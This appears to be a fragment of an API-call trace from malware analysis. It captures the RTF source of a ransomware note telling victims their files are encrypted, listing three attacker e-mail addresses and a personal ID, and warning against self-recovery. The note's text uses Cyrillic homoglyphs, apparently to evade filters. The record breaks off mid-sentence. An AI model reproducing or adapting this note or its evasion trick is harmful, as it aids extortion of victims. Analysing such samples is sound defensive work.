D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2734c38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 